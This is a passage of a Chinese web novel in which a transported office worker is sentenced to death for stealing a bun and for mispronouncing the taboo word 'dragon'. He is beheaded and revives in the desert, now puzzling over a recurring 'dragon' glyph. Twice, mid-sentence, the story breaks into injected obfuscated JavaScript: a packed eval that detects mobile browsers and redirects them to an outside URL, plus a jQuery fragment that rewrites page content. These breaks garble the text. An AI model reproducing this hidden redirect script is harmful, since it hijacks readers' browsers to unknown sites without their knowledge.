林越蹲在墙角,小口小口地吃着。稀粥很稀,几乎能照见人影;干饼硬得像石头,得就着粥才能咽下去。但他吃得很认真,每一口都细细咀嚼。 “这伙食真是比我们公司的食堂还差。”林越一边吃一边吐槽,“至少食堂的饭是热的,这粥是凉的,饼是硬的。” 吃完后,他把碗洗干净,放回厨房,然后继续干活。 下午的阳光很毒,晒得人头晕眼花。林越感觉自己越来越饿——早上的稀粥和干饼根本不够支撑这么重的体力劳动。他的肚子开始咕咕叫,手脚也开始发软。 “再坚持一下……”他对自己说,“晚上就有饭吃了。” 但到了晚上,胖掌柜只给了他半碗剩菜和半张饼。 “最近生意不好,将就着吃吧。”胖掌柜有些不好意思地说。 林越没说什么,接过食物,默默吃完。他知道掌柜说的是实话——这家酒肆位置偏,客人少,能给他一份工已经不错了。 回到柴房,林越躺在干草堆上,感觉胃里空荡荡的。饥饿像一只无形的手,攥着他的胃,越攥越紧。他想起穿越前的生活——加班到深夜,还能去便利店买关东煮和烤肠,热乎乎的,香喷喷的…… “别想了。”,他强迫自己停止回忆,想也没用。 他抬起手腕,看着那道红痕。在昏暗的光线下,它像一道血色的伤疤,提醒着他:只剩一次机会了。 “必须活下去。”他喃喃自语,“无论如何,必须活下去。” 第二天,情况更糟了。 酒肆来了个大客户,包下了整个后院办宴席。林越从早忙到晚,搬桌子、摆椅子、端菜送酒,连喘口气的时间都没有。中午掌柜忙忘了,没给他饭吃。等到傍晚宴席结束,他才得到一碗冷掉的剩饭。 饿。 太饿了。 林越感觉自己的胃在抽搐,眼前一阵阵发黑。他扶着墙,慢慢走回柴房,每一步都像踩在棉花上。 “不行……得找点吃的……”他靠在墙上,喘着粗气。 可是去哪儿找呢?酒肆的厨房锁着,掌柜看得紧。街上倒是有卖吃的,但他没几个铜板。就在这时,一阵香味飘了过来。 肉香、面香,还有某种香料的味道。 林越抬起头,鼻子不自觉地抽动。这香味……是从隔壁传来的。隔壁是一家包子铺,他每天都能闻到那里的香味,但今天特别浓,特别诱人。 他鬼使神差地走出柴房,顺着香味来到包子铺后墙。从墙缝里看进去,能看见蒸笼冒着白气,能听见包子出笼时“噗”的一声轻响。 一个伙计端着一笼刚蒸好的包子走出来,放在案板上。那些包子白白胖胖,冒着热气,皮薄得能看见里面的馅儿——是肉馅,油汪汪的,香得让人流口水。 林越的喉咙动了动。他感觉自己能吞下一头牛。 “就一个……”,他心里有个声音在说,“就拿一个,以后有钱了还他双倍……” 理智告诉他不能这么做,偷窃是犯罪,被抓到就完了。但饥饿压倒了一切,他的身体自己动了,翻过后墙,溜进后院,伸手抓起一个包子—— “干什么的!” 一声大喝从身后传来。林越浑身一僵,手里的包子“啪”地掉在地上。 包子铺老板站在门口,瞪着眼睛看着他。就是之前镇口的包子铺老板,这似乎才是他的本店,但他似乎没有认出林越,此刻脸上满是怒容。 “我……我……”林越慌了,大脑一片空白。他想解释,想说自己是太饿了,想说以后一定还钱,但话到嘴边,却结结巴巴说不出来。 完了……被抓现行了!林越心里叫苦,这次真的完了…… “偷东西?”老板走过来,捡起地上的包子,看了看,又看了看林越,“看尔也不像坏人,怎么干这种事?” “对……恕罪……”林越终于挤出几个字,“小人太饿了……小人不是故意的……” “饿了就能偷?”老板摇摇头,“按律法,盗窃要受罚。轻则杖责,重则流放。看尔年纪轻轻,我也不想为难尔。这样吧,尔在我这儿干三天活,抵这个包子的钱,怎么样?” 林越眼睛一亮。有转机!老板是个善人,愿意给他机会! 三天活抵一个包子?这买卖……划算!林越心里一喜,至少不用挨打,不用流放。 “小人愿意!小人愿意干活!”他连忙说,“谢过老板!谢过!” “嗯,那就——”老板话没说完,外面突然传来一阵喧哗声。几个街坊邻居听见动静,围了过来。 “老张,怎么回事?” “这小偷抓着了?” “哟,还是个生面孔!” 人群围了上来,七嘴八舌地问。林越被围在中间,感觉无数双眼睛盯着自己,压力山大。他必须说点什么,必须解释清楚。 解释……怎么解释?林越脑子飞速运转,“说我是太饿了?说我会干活抵债?” “各位,听我说……”他深吸一口气,努力组织语言,“我不是小偷,我只是……只是太饿了……” “饿了就能偷?”一个妇人尖声说。 “不是,我的意思是……”林越急了,语速加快,“我一天没吃饭了,实在受不了,才……才拿了一个包子。我愿意干活抵债,真的!” 他说得很快,很急,发音有些走样。但这不是重点。重点是,在极度紧张和饥饿的状态下,他的大脑有些混乱,舌头有些打结。 他想说“饿”。 大炎官话里,“饿”的发音是“lè”,第四声,短促有力。 但他太紧张了,声带绷得太紧,发音时气流控制不稳。那个“lè”音在出口的瞬间,发生了一点微妙的变化——声调偏高了一点,尾音拖长了一点。 听起来,有点像…… “龙”。 周围突然安静了。 死一般的寂静。 包子铺老板的脸色瞬间变了。从刚才的和善,变成了震惊,然后是恐惧。他后退一步,指着林越,手指发抖:“你……尔刚才说什么?” 林越还没反应过来:“我说我饿……” “不对!”一个老头打断他,“尔说了那个字!尔说的是那个字!” “我没有!”林越急了,“我说的是饿!lè!第四声!” “就是那个字!”另一个妇人也喊起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119392|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,“我听得清清楚楚!是那个字!” 人群骚动起来。人们交头接耳,眼神里充满了惊恐和愤怒。 “庶民不得言……” “这是亵渎皇权!” “要杀头的!” 林越终于意识到发生了什么,他的发音错了!在紧张和饥饿的状态下,他把“饿”说成了“龙”。虽然只是微小的差异,但在这个世界,这是致命的错误。 “我……说错字了?”林越脑子嗡的一声,“‘饿’说成了‘龙’?这怎么可能?” “不是的……尔等听错了……”他想解释,但声音被淹没在人群的喧哗中。 “抓起来!”有人喊。 “送官!” “对!送官!” 几个人冲上来,抓住林越的胳膊。他挣扎,但饿得没力气,很快就被制服了。 林越被押到了县衙。这一次,他没有被关进牢房,而是直接被带到了公堂上。 公堂比林越想象的要大,也要威严得多。正中央高悬着一块匾额,上面写着“明镜高悬”四个大字,金漆已经有些剥落,但依然透着森严的气势。匾额下方是一张巨大的红木案桌,桌后坐着县官。 县官留着山羊胡,脸上皱纹很深,眼神锐利得像鹰。他穿着一身青色官服,头戴乌纱帽,手里拿着一块惊堂木。看到林越被押上来,他皱了皱眉,用惊堂木在案上轻轻敲了敲:“肃静。” 堂下原本有些嘈杂,立刻安静下来。几个衙役分列两旁,手持水火棍,面无表情。堂外挤满了看热闹的百姓,伸长脖子往里瞧。 “尔是何人?”县官开口,声音不高,但很有穿透力。 林越低头不语。他知道,说什么都没用了。解释?辩解?在这个世界,说错一个字就是死罪,解释再多也没用。 “尔犯了什么罪?”县官又问。 “回大人,此人偷窃包子,被当场抓获。”押送他的衙役上前一步,躬身回答,“而且,他在辩解时,说了那个字。” “那个字?”县官的眼神变得锐利,像两把刀子刺向林越,“尔说了那个字?” 林越张了张嘴,想解释,但发不出声音。他知道,解释也没用。在这个世界,“龙”是皇权的象征,庶民不得言“龙”,违者就是亵渎皇权,就是死罪。他想起之前学过的规矩——大炎王朝以龙为图腾,皇帝自称“真龙天子”,民间严禁使用“龙”字,连发音相近的字都要避讳。 “我怎么会说错呢?”林越在心里问自己,“‘饿’和‘龙’,发音明明不一样啊……”但他知道,在极度紧张和饥饿的状态下,发音确实可能出错。声带绷得太紧,气流控制不稳,一个音就可能变成另一个音。 “看来尔是不肯招了。”县官失去了耐心,拿起惊堂木,“啪”地一声重重拍在案上,“按《大炎律例》第三卷第七条:盗窃财物者,杖责三十,罚银五两!” 堂下传来一阵窃窃私语。三十杖不算轻,但也不算重,至少不会要命。 但县官的话还没完:“又按《大炎律例》第一卷第一条:庶民不得言‘龙’,违者,视为亵渎皇权,斩立决!” “斩立决”三个字像三把重锤,狠狠砸在林越心上。他感觉自己的心脏停跳了一拍,然后开始疯狂地跳动,像要跳出胸腔。 “斩立决……”他在心里重复着,"就这么……死了?" “两罪并罚,斩立决!”县官的声音冰冷,没有一丝感情,“拖下去,后日午时三刻,城南菜市口,斩首示众!” 林越抬起头,看着县官。县官的脸上没有任何表情,就像在说一件再平常不过的事。对县官来说,这确实很平常——每天都要审判犯人,每天都要判刑,死刑也不过是众多刑罚中的一种。 “为什么?!”林越在心里呐喊,“为什么总是我?我只是想活下去……我只是想吃口饭……我犯了什么滔天大罪?偷一个包子?说错一个字?” 但没人听得见他的心声。在这个世界,规则就是规则,法律就是法律,没有理由,没有解释,没有通融。 两个衙役上前,一左一右架起林越。林越没有挣扎,没有反抗。他知道,挣扎也没用,反抗也没用。在这个公堂上,县官就是天,县官的话就是法。 他被拖出公堂,拖过长长的走廊,拖向大牢。走廊两旁的墙壁上挂着一些字画,有的是山水,有的是警句。林越看见其中一幅字,上面写着:“法不容情”。 手腕上的红痕,最后一道,也开始慢慢变淡。他能感觉到,那种熟悉的、死亡临近的感觉又来了。 “第三次了……” 他想着,“这次死了,就真的死了吧……” 他不知道死亡轮回的机制是什么,为什么前两次死了能重生,为什么手腕上会有红痕。但他知道,这次可能是最后一次了。红痕只剩一道,如果这次死了,可能就再也没有重生的机会了。 他被扔进大牢。牢房很小,很暗,只有一扇小窗透进一点光。地上铺着干草,散发着霉味。墙角有只老鼠,看见他进来,吱吱叫了两声,跑开了。 林越靠在墙上,慢慢滑坐在地上。他抬起手腕,看着那道红痕。在昏暗的光线下,它像一道血色的伤疤,提醒着他:只剩一次机会了。 而现在,这最后的机会,也要用完了。 “完了……”他喃喃自语,“这次,真的完了。” 他闭上眼睛,等待死亡的到来。 就为了一个包子。 就为了说错一个字。 他就要死了。 第三次死亡。 也是最后一次。 “拖下去,后日午时三刻,斩首示众!”县官挥了挥手。 林越被拖了下去。他没有挣扎,没有反抗。他知道,挣扎也没用,反抗也没用。 他被推搡着往前走,脑子里一片空白。只有两个字在回荡:完了。 这次,真的完了。 7. 斩首台前 林越靠在冰冷的石墙上,感受着熟悉的霉味和尿骚味。这已经是他第三次进监狱了,每次的氛围都如出一辙——压抑、绝望。石墙粗糙,湿漉漉的,透着一股寒意。墙角的老鼠吱吱叫着,像是在嘲笑他这个“老油条”。 第三次了。第一次在黄壤屯,因为语言问题被当成奸细;第二次在清水镇,因为沉默被当成不敬;这次是因为偷包子和说错字。 这牢房,比前两次的还差。空间小,转个身都难;光线暗,只有一个小窗透进一点点光;通风差,空气不流通,霉味重;老鼠多,而且不怕人。综合评分……负十分。他想起现代那些酒店评分网站,如果牢房也能评分,这间绝对是最低分,一星都嫌多,评论区肯定都是“差评,不推荐入住”。 “三进宫啊……”他低声自语,声音在空荡的牢房里回荡,“第一次是误会被抓,第二次是冤枉入狱,这次是自找的。”语气里带着自嘲,像是在总结自己的失败经历。 他想起第一次进牢的情景。那时他刚穿越不久,语言不通,礼仪不懂,像个傻子。因为一个发音错误被当成北狄奸细,在牢里被严刑拷打,被鞭子抽,最后被扔到乱葬岗,喂了乌鸦。那种痛苦,那种绝望,他至今记忆犹新。 第二次进牢,是因为不说话。他以为装哑巴能保命,结果沉默被当成不敬,又被判了死刑。那次是被杖毙的,一杖一杖地打,骨头都打断了,内脏都震伤了。那种疼痛,比第一次更甚。 “三进宫?”隔壁传来一个沙哑的声音,像是砂纸磨过木头,“尔这后生,看着年纪轻轻,倒是个惯犯?”语气里带着好奇,没有恶意。 林越转过头,透过木栅栏的缝隙,看见隔壁牢房里坐着一个中年汉子。那人衣衫褴褛,粗布衣破了好几个洞,头发蓬乱,但眼神还算清明,正饶有兴致地打量着他。 “算不上惯犯。”林越自嘲地摇摇头,“第一次是误会,第二次是冤枉,这次是倒霉到极点的那种。” “误会?冤枉?”中年汉子嗤笑一声,“进了这大牢的,哪个不说自己是冤枉的?说说看,尔犯了什么事?偷鸡摸狗?还是拦路抢劫?” 林越沉默了片刻。他知道,在这个世界,偷窃虽然可耻,但至少比“亵渎皇权”的罪名轻得多。他深吸一口气:“偷了个包子。” “包子?”中年汉子愣了一下,像是没听清。随即哈哈大笑起来,笑声在空荡的牢房里回荡,“偷包子?就为了个包子,被关进大牢?尔当我是三岁小儿?”他笑得上气不接下气。 “是真的。”林越认真地说,“我太饿了,一天没吃饭,实在受不了……” “那也不至于进大牢。”中年汉子打断他,笑声停了,“清水镇的张老板,就是包子铺那个,我知道他。那是个善人,经常施舍穷人。尔偷他的包子,他顶多让尔干几天活抵债,怎会送官?”他顿了顿,“除非尔还干了别的事。” 林越低下头,看着自己脏兮兮的手。手指上有碳灰,有泥土,指甲缝里塞满了伪装时留下的痕迹。他想起包子铺老板那张和善的脸,圆圆的,总是带着笑;想起老板说“在我这儿干三天活,抵这个包子的钱”时的温和语气。老板确实是个好人,给了他机会。 如果当时没有说错字……林越想着,思绪飘回那个瞬间。如果当时冷静一点,发音准一点,别那么紧张,别那么饿……现在应该正在包子铺干活吧?搬面粉,揉面团,蒸包子。虽然累,但至少能吃饱,能活下去,不用在这牢房里等死。 “你说得对。”林越的声音很轻,“老板确实想让我干活抵债。他给了我机会。”他抬起头,“但我搞砸了。” “那尔怎么还在这儿?”中年汉子追问,“张老板那么好说话的人,怎么会把尔送官?除非尔做了什么更过分的事?” 林越顿了顿,喉咙有些发干。“因为……”他闭上眼睛,仿佛又回到了那个瞬间,“我在辩解的时候,太紧张,太饿了……我想说‘饿’,但说成了……说成了‘龙’。” 牢房里突然安静下来。连墙角的老鼠都停止了啃咬。 中年汉子脸上的表情凝固了。他盯着林越,过了好一会儿,才缓缓开口,声音压得很低:“尔……尔说了那个字?” 林越点点头。他知道,在这个世界,“龙”字意味着什么——皇权的象征,庶民的禁忌,说错就是死罪。 “尔知道那是什么罪吗?”中年汉子的声音更低了,“亵渎皇权……斩立决……尔怎么敢……”他往后缩了缩。 “我不是故意的。”林越抬起头,眼神里满是无奈和绝望,“我只是太紧张了,发音错了。我想解释,但没人听。他们都说我亵渎皇权,要杀头……” 中年汉子沉默了。他靠在墙上,仰头看着牢房顶部的蜘蛛网,长长地叹了口气。 “我在这牢里待了三个月了。”中年汉子突然开口,声音平静了许多,“我见过很多人,犯过很多罪。有偷窃的,有抢劫的,有杀人的……但说那个字的,尔是第一个。”他顿了顿,“也是最后一个,因为说那个字的,都活不了。” 林越抬起头,想从他脸上找到一丝希望,但只看到麻木。 “三个月前,我也是因为一个字进来的。”中年汉子继续说,“不过不是那个字,是‘炎’字。我在酒馆喝酒,喝多了,说了句‘大炎王朝也不过如此’。被人听见,举报了,就进来了。”他苦笑,“就为了一句话,一句醉话。” “炎”字也不行?林越心里一惊。这禁忌也太多了吧?“龙”不行,“炎”不行,还有多少字不行?这敏感词列表比XX的屏蔽词库还长,至少XX的只是屏蔽,这里是要命。 “判了三年。”中年汉子苦笑,皱纹挤在一起,“三年啊……就为了一句话,一句醉话。不过比起尔,我算是幸运的了。至少还能活着出去,虽然不知道出去后还能不能找到活干,还能不能活下去。”他摇摇头,“这世道,活着不容易。” 中年汉子沉默了一会儿,似乎在回忆什么,然后缓缓开口:“说起县官大人判的案子……前几日还有两桩,都挺有意思的,我也是听狱卒闲聊知道的。”他看向林越,像是在征求同意。 林越抬起头,虽然知道自己命不久矣,明天就要被砍头,但听到这些事,还是忍不住好奇。他点点头,示意继续。 “第一桩,是个小伙子。”中年汉子说,声音平缓,“年纪跟尔差不多,二十出头,血气方刚。他在街上跟县官大人的轿子撞上了——也不是故意的,就是人多,挤来挤去,不小心撞到了轿子,轿子晃了一下。” “就这?”林越问,有点不敢相信,“撞到轿子就要判刑?这路是官家的,不是县官一个人的。” “撞到轿子不算什么。”中年汉子摇摇头,“关键是,轿子被撞得晃了一下,县官大人从轿子里摔了出来,帽子都掉了,滚在地上。那小伙子吓坏了,赶紧去扶,结果手忙脚乱,扶人的时候,手碰到了县官大人的脸。”他顿了顿,强调,“碰到了脸。” 林越心里一沉:“碰到了脸?”他知道这意味着什么,在这个等级森严的社会,触碰官员的脸是极大的不敬。 “嗯。”中年汉子叹了口气,“碰到了脸。县官大人当场就怒了,脸都气红了,说这是‘不敬之罪’,是‘亵渎官威’。当场就让人把那小伙子抓了起来,直接判了死刑。”他摇摇头,“就为了一碰。” “死刑?”林越难以置信,“就因为碰到了脸?这算什么罪?又不是故意的!” “就因为碰到了脸。”中年汉子肯定地说,“县官大人说,官威如天,不可侵犯。庶民触碰官员的脸,就是触碰天威,是大不敬。按律当斩。” 林越不知道该说什么。在这个世界,官员的脸比人命还重要,碰一下就要死。这让他想起现代那些“领导碰不得”的潜规则,但至少现代不会因为碰了领导的脸就被杀头,最多被穿小鞋。这里直接要命,效率真高。 “第二桩呢?”林越问。 “第二桩更荒唐。”中年汉子苦笑,“是个小姑娘,十四五岁的样子,瘦瘦小小的,看着就可怜。她说自己是‘龙语(两字连读的一个音:leu)者’的后裔,能解决镇外那条干涸的河床问题,让河水重新流淌。” 林越心里一动:“龙语者?”他想起之前听到的传闻,关于龙语者的传说,关于那条干涸的河。 “对,龙语者。”中年汉子压低声音,“她说她祖上是侍奉龙神的,懂得龙语,能跟龙神沟通。她说那条河床干涸是因为龙神生气了,只要她念一段龙语咒文,就能让龙神息怒,河水就会重新流淌。”他顿了顿,“她说得很认真,眼睛里有光,像是真的相信。” “然后呢?”林越追问。 “然后?”中年汉子摇摇头,像是惋惜,“然后就被抓了。县官大人说她是‘装神弄鬼’,是‘妖言惑众’。说她自称龙语者后裔,就是亵渎皇权——因为只有皇族才有资格侍奉龙神,庶民自称龙语者,就是僭越,是大罪。”他叹了口气,“小姑娘不懂这些,她只是想帮忙,想让河水回来,让镇子不再干旱。” “判了什么?”林越问。 “本来也要判死刑的。”中年汉子说,“但县官大人看她年纪小,又是女孩,就‘法外开恩’,改判了‘晒刑’——绑在镇口的木桩上,暴晒五天。如果五天不死,就放了她。”他苦笑,“这算什么恩?比死刑还残忍。” “暴晒五天?”林越倒吸一口凉气,“这比死刑还残忍吧?五天,不吃不喝,在太阳底下暴晒……” “谁说不是呢。”中年汉子叹气,“第一天就晒晕了三次,嘴唇都裂开了;第二天开始说胡话;第三天就是今天,就是刚刚我听狱卒说已经没动静了;也不知道能不能撑得过明天。”他顿了顿,“才十五岁啊。” 牢房里再次陷入沉默。 林越想象着那个画面:一个十四五岁的小姑娘,被绑在木桩上,在烈日下暴晒五天,变成一具干尸。就因为自称龙语者后裔,就因为想解决河床干涸的问题。这世界,太残酷了。 “那河床呢?”林越突然问,“河床的问题解决了吗?河水回来了吗?” “解决?”中年汉子嗤笑,“怎么可能解决。县官大人说了,河床干涸是天意,是龙神的安排,凡人不可干预。谁敢干预,就是违逆天意,就是死罪。”他顿了顿,“所以河水还是干的,镇子还是缺水。” 天意……林越心里冷笑。在这个世界,一切都是天意,一切都是龙神的安排。官员的脸碰不得,龙字说不得,河床干涸是天意,庶民只能认命。 “所以啊,”中年汉子总结道,“尔这次,肯定逃不掉了。县官大人最恨的就是亵渎皇权等不敬礼法的人,尤其是说那个字的。那个小姑娘只是自称龙语者后裔,就被晒死了。尔直接说了‘龙’字,还能活?”他摇摇头,“不可能。” 林越不再说话,他知道中年汉子说的是对的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119393|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “午时三刻?”他问,声音有些发颤。 “午时三刻。”中年汉子肯定地说,“菜市口,斩首示众。我在这三个月,见过三次斩首。都是午时三刻,都是菜市口,都是斩首示众。”他顿了顿,“有个跟尔一样,说错了字——说了‘皇’字。在街上跟人吵架,骂了句‘皇天在上’,被人听见了。判了斩立决,第二天就执行了。” “谢谢。”林越低声说,“谢谢尔告诉我这些。” “不用谢。”中年汉子摆摆手,“反正尔也活不了多久了,知道这些也没用。就当是死前有人陪尔说说话吧。” 林越不再说话。他蜷缩在角落里,把脸埋在膝盖间。手腕上的红痕在昏暗的光线下,像一道血色的诅咒。 隔壁的中年汉子也不再说话。牢房里只剩下老鼠窸窸窣窣的声音。 第二天,午时三刻。 林越被押到了刑场。刑场设在城南菜市口,挤满了看热闹的百姓,像是过节一样。 这么多人……林越心里苦笑。比公司年会还热闹,至少年会还有抽奖,这里只有砍头。他看见人们伸长脖子,眼睛里闪着好奇又残忍的光,像是在看什么精彩的表演。 刑场中央是一个木制的平台,平台上放着一个斩首台。木墩已经被血染成了暗红色,靠近了能闻到一股浓重的血腥味。 林越被押上平台,按在斩首台上,脖子被固定在木墩的凹槽里。他抬起头,看着天空。天空很蓝,阳光很刺眼。今天是难得的好天气,适合杀人。 如果死了……能回到现代吗?他想起现代的生活,虽然辛苦,996,KPI,但至少安全,至少自由,至少不会因为说错一个字就被杀头。他想起父母,想起朋友,想起那个还没写完的项目…… 对不起……他在心里默默道歉。 刽子手走上了平台。那是个高大的汉子,光着膀子,脸上没有任何表情。他手里拿着一把大刀,刀刃闪着寒光。 这刀……林越眯起眼睛,努力想。好像在哪里见过……想不起来了,也没时间想了。 刽子手举起了刀。动作很稳,很有力。刀身在阳光下闪着寒光。林越能看见刀身上的倒影——自己的脸,苍白,没有血色。 要死了……他闭上眼睛,等待死亡的降临。 但刀没有落下来。 他睁开眼睛,看见刽子手放下了刀,走到一边,和监斩官说了些什么。 没想到死前还会有“十秒缓刑”……林越心里苦笑。这算什么?行刑前的仪式感? 这短暂的停顿,让他的思绪飘回了原来的世界。他想起了自己那三支股票——新能源、医药、科技股。上周刚加仓,想着等这波行情起来,就能凑够提前还贷的钱了。 都打了水漂了……他感到一阵心痛,不是为即将到来的死亡,而是为那些辛苦攒下的钱。每个月的工资,他都要精打细算,眼看着就要够还清房贷了,就差那么一点点。 他想起自己那个小小的公寓,四十平米,一室一厅。首付是父母帮忙凑的,剩下的贷款他计划五年内还清。每次加班到深夜,回到那个小窝,他都会告诉自己:再坚持一下,等还完贷款,这就是完全属于自己的家了。 差一点点……就差那么一点点…… 没想到还是要死了。在这个莫名其妙的世界,因为一个莫名其妙的字,就要被斩首示众。这经历,要是能写成小说,肯定没人信。 刽子手走回斩首台前,重新举起了刀。这一次,他的动作更慢,更稳。 要来了……他深吸一口气。这次真的要来了…… 刀落了下来。 林越感觉脖子一凉,然后是一阵剧痛,很短暂。他看见自己的血喷了出来,在阳光下闪着诡异的光。 原来斩首是这种感觉……不疼……就是有点凉。然后就是黑暗。 在意识即将消散的瞬间,林越的视线模糊了。刑场上密密麻麻的人群,他们的影子在午后的阳光下被拉得很长,扭曲变形。就在这些扭曲变形的影子中,林越仿佛看到了什么—— 一个巨大的、扭曲的“龙”字。 那字迹和他之前在石板血痕上看到的一模一样,歪歪扭扭,笔画复杂。它由无数人的影子交织而成,在刑场的地面上蜿蜒盘旋,像一条活过来的龙。 又是这个字……林越的意识在迅速消散。为什么到处都是这个字……在令牌上,在血痕里,在影子里……这个字到底意味着什么? 那影子组成的“龙”字似乎在呼吸,在蠕动。它从一个人的影子延伸到另一个人的影子,最后甚至延伸到了林越自己的血泊中。血和影子混合在一起,形成一种诡异的图案。 难道……这个世界的秘密……和“龙”有关? 这个念头在脑海中一闪而过。但林越已经没有时间去思考了。黑暗如同潮水般涌来,吞噬了一切。他看见天空在旋转,看见人群在晃动,看见那个影子组成的“龙”字在血泊中慢慢消散。 要死了……他想,这是最后一个念头。这次……真的死了…… 他想起手腕上的红痕。最后一道红痕,现在应该已经消失了吧? 他不知道。 也没机会知道了。 黑暗越来越浓。意识越来越模糊。最后,他听见一个声音,很遥远,很模糊: “午时三刻已到,行刑完毕——” 然后,一切归于黑暗。 8. 轮回启示 “咳……咳咳……” 林越猛地睁开眼睛,剧烈地咳嗽起来。他发现自己躺在荒漠上,身下是滚烫的黄沙,烈日当空。 他挣扎着坐起来,第一件事就是检查自己全身上下。手、脚、胳膊、腿,都还在,完好无损。摸摸脸,没有伤痕;看看衣服,没有血迹。没有缺失任何零件!他活过来了!再一次! 林越忍不住跳了起来,高声欢呼,声音在空旷的荒漠中回荡:“哇哦!!!YES!YES!”眼泪流了下来,和脸上的沙尘混合在一起。他一边哭一边笑,像个孩子。 他在荒漠中奔跑着,张开双臂,像是要拥抱整个世界。感受着炽热的阳光洒在脸上,那是一种久违的、活着的触感。 “哈哈哈哈!”他放声大笑,“我活下来了!我真的活下来了!”死亡三次,重生四次,这种体验比坐过山车还刺激。 泪水涌出,与脸上的沙尘混合。他跪倒在沙地上,双手捧起一把黄沙。这触感如此真实,如此鲜活,提醒他这不是梦。 他想起了前三次死亡——狱中的酷刑,杖毙的剧痛,斩首的冰冷。每一次都那么真实,每一次都那么绝望。但现在,他活下来了,像是从地狱爬回了人间。 “我不是炮灰……”他喃喃自语,“我不是任人宰割的炮灰……”他想起那些穿越小说里的主角,总是开挂,总是逆袭。而他,差点真成了炮灰,死了一次又一次。但现在,他撑过来了。 他站起身,仰头望向天空,烈日刺眼,但他毫不避讳地直视着。阳光刺痛了眼睛,泪流得更凶,但让他更加真切地感受到自己的存在。 喜悦如潮水般涌来,冲刷着长久以来积压在心底的恐惧和绝望。他想起在清水镇的日子——那些小心翼翼、如履薄冰的日子。每一次开口说话都要反复斟酌,每一个动作都要模仿到位,每一次眼神交流都要恰到好处。 但现在,这一切都过去了。他回到了起点,沙漠,虽然荒凉,但至少没有那些复杂的人际关系,没有那些要命的规矩。 “活着真好……”他闭上眼睛,感受着心跳的节奏,“活着……真好。”以前觉得活着理所当然,现在才知道,活着是最大的幸运。 抬起左手腕,动作很慢。 红痕。 不,不对。 他揉了揉眼睛,凑近了仔细看。 原本清晰的一道红痕,现在……消失了? 不,不是完全消失。在原本红痕的位置,出现了一道黑色的线条,像是用墨笔画上去的。那道线条很短,大概只有一厘米,很淡。 而且,那道线条……在动? 林越瞪大眼睛,看着那道黑色的线条。它确实在动,在缓慢地增长,速度很慢,像蜗牛,但确实在动。 这黑痕……会增长到什么程度?他盯着手腕上的黑痕,心里涌起一股不祥的预感,如果黑痕长满了……会发生什么? 他不知道。他只知道,自己必须活下去,必须弄清楚这个世界的真相,必须找到回家的路。 林越强迫自己冷静下来。狂喜过后,是更深层次的恐惧——对未知的恐惧,对那黑色线条的恐惧。 他坐在沙地上,开始强迫自己思考。 “不能这样下去。”他低声自语,“不能每次都只是被动地活着,被动地死亡,被动地重生。” 他抬起手腕,看着那道缓慢增长的黑色线条。它像一道倒计时,无声地提醒着他:时间有限。 “每一次轮回,我都只是在求生。”林越闭上眼睛,回忆着前三次的经历,“第一次,我只想着活命,结果死在狱中。第二次,我学会了语言,但还是死在杖下。第三次,我模仿得更像了,甚至开始理解这个世界的规则,但还是被斩首。” “为什么?”他问自己,“为什么每次都失败?” 答案其实很明显——他太执着于“活着”本身,而忽略了真正关键的东西。 “龙。”林越睁开眼睛,眼神变得锐利,“三次轮回,三次都有龙的痕迹。” 林越闭上眼睛,开始仔细回忆每一次死亡前看到的"龙"字细节。 第一次死亡,在狱中。狱卒把他拖去乱葬岗时,他看到了狱卒腰间令牌的反面——菱形炎纹中央,被人用利器刻了一个歪歪扭扭的"龙"字。那字迹很稚嫩,像是小孩的涂鸦,笔画转折处带着一种天真的笨拙。当时他只觉得那字写得难看,比公司实习生写的代码还难看。但现在想来,那可能不是随意刻画的。狱卒的令牌是官方物品,谁敢在上面刻字?而且刻的还是禁忌的"龙"字? 第二次死亡,被杖毙在石板上。在意识即将消散的瞬间,他看到自己的鲜血在石板上流淌,慢慢汇聚成一个歪歪扭扭的"龙"字。那个字和狱卒令牌上的一模一样,同样的笔画,同样的扭曲,同样的稚嫩感。血痕在阳光下闪着诡异的光,像是有生命一样在石板上蜿蜒。当时他只觉得这世界太诡异,但现在想来,那可能不是幻觉。鲜血为什么会自动形成那个特定的字?而且偏偏是"龙"字? 第三次死亡,斩首台上。在脖子被切断的瞬间,他看到刑场上密密麻麻的人群,他们的影子在午后的阳光下被拉得很长。就在这些扭曲变形的影子中,他看到了一个巨大的、扭曲的"龙"字。那字迹和之前看到的如出一辙,但这一次是由无数人的影子交织而成。影子组成的"龙"字在刑场的地面上蜿蜒盘旋,像一条活过来的龙,在光影中游动。它从一个人的影子延伸到另一个人的影子,从监斩官的脚下蔓延到刽子手的脚下,最后甚至延伸到了他自己的血泊中。 还有包子铺张老板账本上的符号——那个看起来像是一条盘曲的蛇,又像是一个扭曲的"龙"字的符号。老板用这种奇怪的符号记账,而不是普通的文字。那个符号和血痕形成的"龙"字有几分相似。 "三次死亡,三次看到''龙''字。"林越喃喃自语,"第一次是刻痕,第二次是血迹,第三次是影子。每一次都是在我濒死的时候出现,每一次都是同样的字迹。" 他想起中年汉子在牢里说的话:"那个小姑娘只是自称龙语者后裔,就要被晒死了。" 龙语者后裔。龙语。龙字。 这一切都指向同一个方向——"龙"是这个世界的核心秘密。皇权以龙为图腾,皇帝自称"真龙天子",民间严禁使用"龙"字。但与此同时,狱卒令牌上刻着"龙"字,濒死时鲜血会形成"龙"字,刑场上影子会组成"龙"字,包子铺老板用类似"龙"字的符号记账。 